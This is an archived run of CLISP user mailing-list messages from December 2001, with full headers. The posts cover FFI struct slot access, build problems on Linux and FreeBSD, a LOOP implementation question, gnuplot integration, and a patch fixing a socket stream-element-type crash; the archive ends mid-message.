Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 13 10:09:03 2001 X-Original-Date: 13 Dec 2001 13:07:12 -0500 > * In message > * On the subject of "[clisp-list] Accessing slots of c-structs in Linux package." > * Sent on Wed, 12 Dec 2001 20:24:09 -0800 (PST) > * Honorable Kaz Kylheku writes: > > In my image, I have the module linuxlibc6. > > [1]> (setf d (linux:opendir "/tmp")) > # > [2]> (setf de (linux:readdir d)) > #S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0 > :|d_name| ".") > [3]> (slot-value de '|d_name|) > > *** - SLOT-VALUE: The class # has no slot > named |d_name| try linux::|d_name| -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Lisp: Serious empowerment. From toy@rtp.ericsson.se Thu Dec 13 14:54:30 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16EekI-0004yk-00 for ; Thu, 13 Dec 2001 14:54:30 -0800 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id fBDMsSW07539 for ; Thu, 13 Dec 2001 16:54:28 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id fBDMsSO25102 for ; Thu, 13 Dec 2001 16:54:28 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Thu Dec 13 16:54:27 2001 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id RAA24057; Thu, 13 Dec 2001 17:56:15 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id fBDMsQe27955; Thu, 13 Dec 2001 17:54:26 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Kaz Kylheku Cc: Subject: Re: [clisp-list] Accessing slots of c-structs in Linux package. References: From: Raymond Toy In-Reply-To: Message-ID: <4nofl2u3xb.fsf@rtp.ericsson.se> Lines: 25 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 13 14:55:03 2001 X-Original-Date: 13 Dec 2001 17:54:24 -0500 >>>>> "Sam" == Sam Steingold writes: >> * In message >> * On the subject of "[clisp-list] Accessing slots of c-structs in Linux package." >> * Sent on Wed, 12 Dec 2001 20:24:09 -0800 (PST) >> * Honorable Kaz Kylheku writes: >> >> In my image, I have the module linuxlibc6. >> >> [1]> (setf d (linux:opendir "/tmp")) >> # >> [2]> (setf de (linux:readdir d)) >> #S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0 >> :|d_name| ".") >> [3]> (slot-value de '|d_name|) >> >> *** - SLOT-VALUE: The class # has no slot >> named |d_name| Sam> try linux::|d_name| Then shouldn't the package name have been printed out with the structure slot names? Otherwise it's not readable? Ray From kaz@footprints.net Thu Dec 13 19:15:21 2001 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Eioj-000851-00 for ; Thu, 13 Dec 2001 19:15:21 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16Eiog-0003uU-00 for clisp-list@lists.sourceforge.net; Thu, 13 Dec 2001 19:15:18 -0800 From: Kaz Kylheku To: In-Reply-To: <01121015432908.11448@cube.syzygyx.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] What's the best way to test a ffi:foreign-pointer for null? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 13 19:16:01 2001 X-Original-Date: Thu, 13 Dec 2001 19:15:18 -0800 (PST) The only solution I have come up with is to call some function that generates a null one and retain that value, then compare to that using equalp. E.g. (defconstant *null-pointer* (linux::realloc (linux::malloc 1) 0)) *null-pointer* ==> # (equalp *null-pointer* (linux::opendir "/asdfasdf")) ==> T (equalp *null-pointer* (linux::opendir "/etc")) ==> NIL ;) From samuel.steingold@verizon.net Fri Dec 14 05:26:14 2001 Received: from out001pub.verizon.net ([206.46.170.101]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16EsLt-0006Ms-00 for ; Fri, 14 Dec 2001 05:26:13 -0800 Received: from xchange.com (pool-151-203-224-73.bos.east.verizon.net [151.203.224.73]) by out001pub.verizon.net with ESMTP ; id fBEDPPZf015204 Fri, 14 Dec 2001 07:25:26 -0600 (CST) To: Raymond Toy Cc: Kaz Kylheku , Subject: Re: [clisp-list] Accessing slots of c-structs in Linux package. References: <4nofl2u3xb.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nofl2u3xb.fsf@rtp.ericsson.se> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 14 05:27:01 2001 X-Original-Date: 14 Dec 2001 08:25:21 -0500 > * In message <4nofl2u3xb.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] Accessing slots of c-structs in Linux package." > * Sent on 13 Dec 2001 17:54:24 -0500 > * Honorable Raymond Toy writes: > > >> #S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0 > >> :|d_name| ".") > >> [3]> (slot-value de '|d_name|) > >> > >> *** - SLOT-VALUE: The class # has no slot > >> named |d_name| > > Sam> try linux::|d_name| > > Then shouldn't the package name have been printed out with the > structure slot names? these are keyword args to make-struct, not slot names. > Otherwise it's not readable? it is. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Parachute for sale, once used, never opened, small stain. From traverso@posso.dm.unipi.it Fri Dec 14 13:02:16 2001 Received: from cardano.dm.unipi.it ([131.114.6.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16EzT9-0007g4-00 for ; Fri, 14 Dec 2001 13:02:11 -0800 Received: by cardano.dm.unipi.it (Postfix, from userid 3010) id 1E235B804; Fri, 14 Dec 2001 22:01:50 +0100 (CET) From: Carlo Traverso To: clisp-list@lists.sourceforge.net Reply-To: traverso@dm.unipi.it Message-Id: <20011214210150.1E235B804@cardano.dm.unipi.it> Subject: [clisp-list] clisp "bug" (in binary distribution?) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 14 13:03:02 2001 X-Original-Date: Fri, 14 Dec 2001 22:01:50 +0100 (CET) While installing clisp-2.27, I had an error; I have completely understood what has been my error, and what happened, but since my action was natural and might confuse more naive users, it might be considered a bug. I run a RedHat Linux 7.0, kernel 2.2.16-22; I first installed the binaries found at http://clisp.sourceforge.net/ ; they did not work, probably because of kernel versions (they are compiled with 2.2.19). Hence I got and compiled the sources; there was an error *** - READ from #: there is no package with name "POSIX" and later a fatal error ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 1000KW -M halfcompiled.mem -q -c init.lisp *** - EVAL: the function BATCHMODE-ERRORS is undefined I then erased everything, and recompiled: it worked; looking at the compilation messages, I found a difference that explained why it did not work at first: earlier I had ..... (initial part of the compilation equal) ..... ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" .... clisp logo etc. ;; Loading file defseq.fas ... ;; Loading of file defseq.fas is finished. ..... (load many more files) ;; Loading file /usralt/clisp-2.27/src/compiler.fas ... *** - READ from #: there is no package with name "POSIX after cleanup I had ;; Loading file defseq.lisp ... ;; Loading of file defseq.lisp is finished. etc i.e. in the first compilation I used the "old" .fas files instead of the "new" .lisp files; the old files were garbage from the previous binary installation, the configure had been made with diffeent flags. I should have made a preliminary "make distclean". In my opinion, the "bug" is in the binary distribution: the compilation should have been made in a directory different from src. Or it might be in configure: one should not be allowed to configure (i.e. prepare to compile) without cleaning the compilation directory. Carlo Traverso From jtowler@newton.pconline.com Sat Dec 15 18:28:45 2001 Received: from newton.pconline.com ([206.145.48.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16FR2i-0007mx-00 for ; Sat, 15 Dec 2001 18:28:44 -0800 Received: (from jtowler@localhost) by newton.pconline.com (8.8.5/8.8.5) id UAA27481; Sat, 15 Dec 2001 20:28:40 -0600 Message-Id: <200112160228.UAA27481@newton.pconline.com> From: John Towler To: clisp-list@lists.sourceforge.net Subject: [clisp-list] loop implementation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 15 18:29:03 2001 X-Original-Date: Sat, 15 Dec 2001 20:28:40 -0600 I am not interested in a flamewar, but in solving a problem. I am not a knower of the loop language, but are the following remarks in line with the current state of CLISP, or are perhaps they the result of old data? From cm-2.2.1/src/cm.lisp ;; clisp's LOOP implementation is broken so load a working ;; version no matter what. cmn has a similar defacto situation: both replace and shadow the existing loop with an MIT loop implementation dated 1980. It does not seem to have an harsh comment along the lines of the above. If the judgment is not currently accurate, one could reduce the code size of the packages. John Towler From ericmoss@alltel.net Sat Dec 15 21:09:34 2001 Received: from mta01.alltel.net ([166.102.165.143] helo=mta01-srv.alltel.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16FTYL-0000u9-00 for ; Sat, 15 Dec 2001 21:09:34 -0800 Received: from alltel.net ([207.91.2.201]) by mta01-srv.alltel.net with ESMTP id <20011216050931.XEUD362.mta01-srv.alltel.net@alltel.net> for ; Sat, 15 Dec 2001 23:09:31 -0600 Message-ID: <3C1C3B82.AFFB5760@alltel.net> From: Eric Moss X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] 2.27 on FreeBSD 4.3 with Postgres 7.0.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 15 21:10:02 2001 X-Original-Date: Sun, 16 Dec 2001 00:13:22 -0600 Hi, I installed clisp 2.27 from a FreeBSD port and all was fine, but it was a basic install--no clx, no regex, etc. So I expanded the source tarball in /usr/ports/distfiles, doing the following: localhost# cd /usr/ports/distfiles localhost# gunzip -c clisp-2.27.tar.gz | tar xvf - localhost# cd clisp-2.27 localhost# ./configure build localhost# cd build localhost# ./makemake --with-readline --with-gettext --with-dynamic-ffi --with-dynamic-modules --with-module=wildcard --with-module=regexp --with-module=clx/new-clx > Makefile localhost# make config.lisp < ... edited config.lisp to set the editor and organization name ... > localhost# make localhost# make check localhost# make test localhost# make testsuite localhost# make install That worked just fine, but I also wanted to use postgresql, so I added: --with-module=postgresql642 to the ./makemake line (after a "make distclean" to be sure all was fresh). This time, the make failed, claiming that /usr/libexec/ld couldn't find "-lpq". So, I went to /usr/ports/databases/postgresql and did "make install", which downloaded and installed postgresql version 7.0.3. I copied /usr/local/pgsql/lib/libpq.* to /usr/local/lib, making sure the links were preserved. Back in the clisp build directory, a make again failed with exactly the same error. I'm not sure what questions to ask, being a newbie at makefiles, so I'll take a few stabs: [1] Is this likely a problem of some library path (/usr/local/lib) not specified in the right place? ... or ... [2] is ld finding lpq but not the version it hoped for (7.0.3 vs 6.4.2), but the error message is imprecise? Any help would be appreciated. Thanks, Eric From samuel.steingold@verizon.net Sun Dec 16 10:19:04 2001 Received: from smtp002pub.verizon.net ([206.46.170.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16FfsN-00084U-00 for ; Sun, 16 Dec 2001 10:19:03 -0800 Received: from xchange.com (pool-151-203-224-73.bos.east.verizon.net [151.203.224.73]) by smtp002pub.verizon.net with ESMTP ; id fBGIItP26128 Sun, 16 Dec 2001 12:18:56 -0600 (CST) To: Eric Moss Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27 on FreeBSD 4.3 with Postgres 7.0.3 References: <3C1C3B82.AFFB5760@alltel.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C1C3B82.AFFB5760@alltel.net> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 16 10:20:02 2001 X-Original-Date: 16 Dec 2001 13:18:25 -0500 > * In message <3C1C3B82.AFFB5760@alltel.net> > * On the subject of "[clisp-list] 2.27 on FreeBSD 4.3 with Postgres 7.0.3" > * Sent on Sun, 16 Dec 2001 00:13:22 -0600 > * Honorable Eric Moss writes: > > localhost# ./configure build > localhost# cd build > localhost# ./makemake --with-readline --with-gettext --with-dynamic-ffi > --with-dynamic-modules --with-module=wildcard --with-module=regexp > --with-module=clx/new-clx > Makefile I recommend giving all this args to ./configure. > This time, the make failed, claiming that /usr/libexec/ld couldn't find > "-lpq". So, I went to /usr/ports/databases/postgresql and did "make > install", which downloaded and installed postgresql version 7.0.3. I > copied /usr/local/pgsql/lib/libpq.* to /usr/local/lib, making sure the > links were preserved. after installing a new library, you must rebuild the "library database" with ldconfig. this is the piece of arcane knowledge which you learn by a word of mouth. :-) this, of course, is is _addition_ to making sure the paths are correct &c. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Failure is not an option. It comes bundled with your Microsoft product. From ampy@ich.dvo.ru Tue Dec 18 05:26:15 2001 Received: from ints.vtc.ru ([212.16.193.34]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16GKG3-0005Wx-00 for ; Tue, 18 Dec 2001 05:26:11 -0800 Received: from ppp99-AS-2.vtc.ru (ppp99-AS-2.vtc.ru [212.16.216.99]) by ints.vtc.ru (8.12.1/8.12.1) with ESMTP id fBIDPiah017527 for ; Tue, 18 Dec 2001 23:25:47 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1204673510.20011218233354@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] FreeBSD 4.0 and current CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 18 05:27:02 2001 X-Original-Date: Tue, 18 Dec 2001 23:33:54 +1000 Hi, I'm trying to build current sources from CVS in FreeBSD 4.0 and encountering a small problem. I'm following the unix/INSTALL instructions literally, but compilation stops on stream.d complaining that ICONV_CONST is not defined. I'm not familiar with all that autoconf m4 stuff, so I'm giving up. As far as I can understand ICONV_CONST should become defined in unixconf.h, when it being generated from unixconf.h.in, but it didn't (unixconf.h contain commented #undef ICONV_CONST). I spent several days on that trifle, so I'll try to ask here - which way I should look to ? -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Tue Dec 25 10:04:04 2001 Received: from [206.46.170.237] (helo=pop010pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ivvo-0008CH-00 for ; Tue, 25 Dec 2001 10:04:04 -0800 Received: from xchange.com (pool-151-203-227-150.bos.east.verizon.net [151.203.227.150]) by pop010pub.verizon.net with ESMTP ; id fBPI3U5g025383 Tue, 25 Dec 2001 12:03:31 -0600 (CST) To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FreeBSD 4.0 and current CVS References: <1204673510.20011218233354@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1204673510.20011218233354@ich.dvo.ru> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 25 10:05:01 2001 X-Original-Date: 25 Dec 2001 13:02:35 -0500 > * In message <1204673510.20011218233354@ich.dvo.ru> > * On the subject of "[clisp-list] FreeBSD 4.0 and current CVS" > * Sent on Tue, 18 Dec 2001 23:33:54 +1000 > * Honorable Arseny Slobodjuck writes: > > I'm trying to build current sources from CVS in FreeBSD 4.0 and > encountering a small problem. I'm following the unix/INSTALL > instructions literally, but compilation stops on stream.d > complaining that ICONV_CONST is not defined. I'm not familiar with > all that autoconf m4 stuff, so I'm giving up. As far as I can > understand ICONV_CONST should become defined in unixconf.h, when it > being generated from unixconf.h.in, but it didn't (unixconf.h > contain commented #undef ICONV_CONST). I spent several days on that > trifle, so I'll try to ask here - which way I should look to ? I just checked in a "fix". if does work for me on FreeBSD and Linux, but I would appreciate it if you could try other platforms too... -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! The program isn't debugged until the last user is dead. From keithr@ssd.fsi.com Thu Dec 27 13:58:28 2001 Received: from mailgw02.flightsafety.com ([66.109.90.21]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16JiXi-0002iB-00 for ; Thu, 27 Dec 2001 13:58:26 -0800 Received: from srv060.flightsafety.com (localhost [127.0.0.1]) by mailgw02.flightsafety.com (8.11.6/8.11.6) with ESMTP id fBRLwO209248 for ; Thu, 27 Dec 2001 16:58:24 -0500 (EST) Received: from exchange1.ssd.fsi.com (exchange1 [192.168.77.19]) by srv060.flightsafety.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id YM09HQKX; Thu, 27 Dec 2001 16:03:48 -0600 Received: by exchange1.ssd.fsi.com with Internet Mail Service (5.5.2653.19) id ; Thu, 27 Dec 2001 15:58:23 -0600 Message-ID: <382EBB97DD96144F814D50663EE8682C4DE55E@exchange1.ssd.fsi.com> From: "Rehm, Keith" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] gnuplot Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 27 13:59:02 2001 X-Original-Date: Thu, 27 Dec 2001 15:58:22 -0600 Hello, I am using CLISP-2.27 on Win2K machine. I have made CLOCC and would like to run gnuplot from CLISP. I set: (defcustom *gnuplot-path* simple-string #+(or win32 mswindows) "c:\\documents and settings\\keithr\\desktop\\gp371w32\\wgnupl32.exe" ;; "c:/gnu/gp371w32/wgnupl32.exe" ;; "c:/bin/gnuplot/wgnuplot.exe" #+unix (if (string-equal (machine-type) "linux") "/usr/bin/gnuplot" "/usr/local/bin/gnuplot") "*The path to the windows gnuplot executable.") and (defcustom *gnuplot-path-console* simple-string "c:\\documents and settings\\keithr\\desktop\\gp371w32\\pgnuplot.exe" ;;(defcustom *gnuplot-path-console* simple-string "c:/gnu/gp371w32/pgnuplot.exe" "*The path to the console gnuplot executable.") in gnuplot.lisp. I made clocc using the lisp method with CLISP -- it seemed to be successful Running: [16]> (setq gp-stream (cllib:make-plot-stream :print)) [%s:14330] *** - Win32 error 193 (ERROR_BAD_EXE_FORMAT): %1 is not a valid Win32 application. 1. Break [17]> I am uncertain how to actually execute gnuplot commands but it seems one needs to open a stream.... How do I run, for example: gnuplot> plot sin(x) w l from within CLISP? Perhaps this should be directed to CLOCC list..... Thank you, Keith From tas@webspan.net Sat Dec 29 08:10:54 2001 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16KM4T-0002yn-00 for ; Sat, 29 Dec 2001 08:10:54 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id LAA06883; Sat, 29 Dec 2001 11:10:47 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net From: Todd Sabin Message-ID: Lines: 106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] bugs in (setf (stream-element-type x) ...) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 29 08:11:03 2001 X-Original-Date: 29 Dec 2001 11:10:47 -0500 Hi, This is with clisp-2.27, on RH Linux 6.2. So, I was trying to write some sample code that would act as an HTTP client. What I did was (socket-connect ...), (format ...), then (read-line ...) until I got the empty line. At that point, I did (setf (stream-element-type *socket*) '(unsigned byte 8)), and then (read-sequence *array* *socket*), where *array* was obtained from make-array with the size specified by the Content-Length: header. Everything worked, except that the first element in *array* got the value 10 (LF), and the rest of the data was shifted by one byte, leaving one byte of the actual data unread. I realized that somehow I was getting the final LF from the headers, even though it should have already been read. Indeed, if instead of doing the (setf (stream-element-type ...)), I just did (read-char *socket*), I would get the first char of the data, and not #\Newline. I figured that it probably had something to do with CRLF -> #\Newline translation, and that maybe it wouldn't be a problem with buffering. So, I tried: [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t)) # [2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0 ") NIL [3]> (force-output *my-sock*) NIL [4]> (read-line *my-sock*) "HTTP/1.1 200 OK" ; NIL [5]> (setf (stream-element-type *my-sock*) '(unsigned-byte 8)) *** - SYSTEM::BUILT-IN-STREAM-SET-ELEMENT-TYPE: argument *** - handle_fault error2 ! address = 0x40490824 not in [0x2029E000,0x2035A410) ! SIGSEGV cannot be cured. Fault address = 0x40490824. Segmentation fault (core dumped) Well, I tracked the crash down, and this patch fixes it: --- stream.d Mon Jul 16 10:35:54 2001 +++ ../../clisp-2.27-tas/src/stream.d Fri Dec 28 23:31:44 2001 @@ -16238,9 +16238,9 @@ #ifdef SOCKET_STREAMS case strmtype_twoway_socket: # Apply to the input and output side individually. - pushSTACK(TheStream(STACK_1)->strm_twoway_socket_input); pushSTACK(STACK_(0+1)); + pushSTACK(TheStream(stream)->strm_twoway_socket_input); pushSTACK(STACK_(0+1)); funcall(L(built_in_stream_set_element_type),2); - pushSTACK(TheStream(STACK_1)->strm_twoway_socket_output); pushSTACK(STACK_(0+1)); + pushSTACK(TheStream(stream)->strm_twoway_socket_output); pushSTACK(STACK_(0+1)); funcall(L(built_in_stream_set_element_type),2); break; #endif I'm not sure why the code was using STACK_1 instead of stream to begin with, but if there was a reason to reference the stack directly, it should have been STACK_2, not STACK_1. With the patch, the buffered case works as expected, no extra LF. The problem in the unbuffered case turns out to be the way CRLF is handled in the unbuffered case. If read-line encounters a CRLF in the input stream, the LF remains unread, and the ignore_next_LF flag is set. When (setf (stream-element-type ...)) is used, that flag is lost or discarded, which causes the problem. There seem to be a few ways around it, but I haven't attempted any of them. o The flag could be done away with by reading the next char from input, and discarding it if it's a LF, and unreading it if not. In theory, this might cause an app to hang where it wouldn't have before, but I think the risk of that is pretty low. o The flag could be preserved across the (setf (stream-element-type ...)), but then all the read-byte functions would need to be aware of it. o apps can do a (peek-char *stream*) before (setf (stream-element-type ...)) to workaround it. Seems gross to require that of apps, though. Anyway, this is the first I've looked at clisp source code, so I'm sure you'll have a better idea of how to handle this. Todd p.s. I looked, but didn't find, some instructions for developers on how to debug clisp. I managed to build it with debugging info by adding the appropriate "-g"s to the Makefile, but it crashed with sigsegv whenever I tried to do a step or next in gdb. Is there a secret to debugging clisp in gdb? I had to resort to printfs. I saw the Makefile.devel, but it didn't seem to have any support for doing a debug build. p.p.s. Is there any way not to do the CRLF translation? As it stands, if I wanted to, e.g., write a network server that verified strict compliance of its clients, i.e., make sure there are both a CR and a LF at the end of lines, there's no way to do it with clisp, unless I treat everything as bytes instead of chars, which makes lots of other things unwieldy. From saul@spl.at Sun Dec 30 04:18:17 2001 Received: from sitemail2.everyone.net ([216.200.145.36] helo=omta02.mta.everyone.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Keuv-00041O-00 for ; Sun, 30 Dec 2001 04:18:17 -0800 Received: from sitemail.everyone.net (reports [216.200.145.62]) by omta02.mta.everyone.net (Postfix) with ESMTP id 3C7951C4CC1 for ; Sun, 30 Dec 2001 04:18:17 -0800 (PST) Received: by sitemail.everyone.net (Postfix, from userid 99) id 26C8F2755; Sun, 30 Dec 2001 04:18:17 -0800 (PST) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) From: Saul Hazledine To: clisp-list@lists.sourceforge.net Reply-To: saul@spl.at X-Originating-Ip: [213.123.160.125] Message-Id: <20011230121817.26C8F2755@sitemail.everyone.net> Subject: [clisp-list] clisp, defsystem and UncommonSQL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 30 04:19:01 2001 X-Original-Date: Sun, 30 Dec 2001 04:18:17 -0800 (PST) Hello, I am a perl programmer who is learning lisp. I am using clisp on debian (woody) and am enjoying the language so far and am blown away by topend (what a great way to develop functions). I also like the simplicity of clisp and the interaction with my chosen editor (vim). I have written a few simple functions but want to get on to doing something more useful. I want to connect to mysql using the UncommonSQL system and have installed this without any trouble (thanks to the lisp-controller package that debian uses). However, I hit problems when I try to use this system. For instance (when running as root to compile up the system) ... ;; Loading file /etc/clisprc ... ;; Loading of file /etc/clisprc is finished. [1]> (load "~saul/.clisprc.lisp") ;; Loading file /home/saul/.clisprc.lisp ... ;; Loading of file /home/saul/.clisprc.lisp is finished. T [2]> (load "UncommonSQL.system") ;; Loading file /usr/share/common-lisp/repositories/onshore/uncommonsql/UncommonSQL.system ... ;; Loading of file /usr/share/common-lisp/repositories/onshore/uncommonsql/UncommonSQL.system is finished. T [3]> (require "UncommonSQL") ; - Binary file /usr/lib/common-lisp/clisp/uncommonsql/sql/dbms-interface.fas is old or does not exist. ; Compile (and load) source file 